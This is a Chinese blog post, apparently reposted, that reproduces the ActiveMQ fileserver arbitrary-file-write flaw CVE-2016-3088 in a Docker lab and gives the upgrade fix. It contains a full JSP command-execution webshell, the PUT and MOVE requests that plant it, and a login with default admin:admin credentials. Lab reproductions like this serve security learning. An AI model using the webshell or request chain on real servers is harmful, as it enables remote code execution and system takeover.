栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache ActiveMQ 远程代码执行漏洞复现(CVE-2016-3088)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache ActiveMQ 远程代码执行漏洞复现(CVE-2016-3088)

#Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)#

一、漏洞简介

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

二、漏洞影响

影响版本

Apache ActiveMQ 5.x ~ 5.14.0

三、产生原因

ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

文件服务器是RESTful API接口。我们可以通过HTTP请求(例如GET,PUT和DELETE)读写存储在其中的文件。最初设计目的是为了弥补消息队列操作无法传输和存储二进制文件,后来发现该方式存在使用率不高、文件操作容易产生漏洞的缺陷。

此漏洞出现在Fileserver应用程序中,该漏洞的原理实际上非常简单,即文件服务器支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要编写一个文件,然后使用移动请求将其移动到任何位置,就会导致任意文件写入漏洞。

写入文件,例如cron或ssh key

  1. 编写Webshel​​l(方便,但文件服务器不需要解析jsp,admin和api都需要登录才能访问)
  2. 写入文件,例如cron或ssh key(方便,能直接反弹Shell,但需要root权限)
  3. 编写库和配置文件,例如jar或jetty.xml(jar:麻烦,需要jar后门;xml比较可靠,但需要知道ActiveMQ的绝对路径。)
四、复现过程

docker 靶机:192.168.199.161

docker搭建靶场环境

cd /vulhub/activemq/CVE-2016-3088
docker-compose up -d

查看镜像是否启动成功

docker ps

这里启用的两个端口中61616为业务端口,用于生产消费数据
8161为管理端口,用于web端进行配置管理

访问目标 http://192.168.199.161:8161

PUT上传一个webshell到fileserver目录,文件名为jsp后缀会拒绝上传,修改为txt结尾。

webshell内容:

PUT /fileserver/n.txt HTTP/1.1
Host: 192.168.199.161:8161
Content-Length: 399

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>  

上传到fileserver目录,但是此目录没有执行权限

上传成功

用默认账号密码admin:admin登录

访问

http://192.168.199.161:8161/admin/test/systemProperties.jsp

找到activemq.home路径,此目录下有执行权限,此处为/opt/activemq

构造MOVE请求,移动webshell到可解析目录api下

MOVE /fileserver/n.txt HTTP/1.1
Host: 192.168.199.161:8161
Destination:file:///opt/activemq/webapps/api/test.jsp
Content-Length: 4

test

访问/api/ 查看到test.jsp

执行命令

http://192.168.199.161:8161/api/test.jsp?cmd=id

关闭靶场

docker-compose down
五、修复方案

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

六、参考链接

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)分析

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)

标签

CVE-2016-3088、ActiveMQ、远程代码执行

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/356947.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号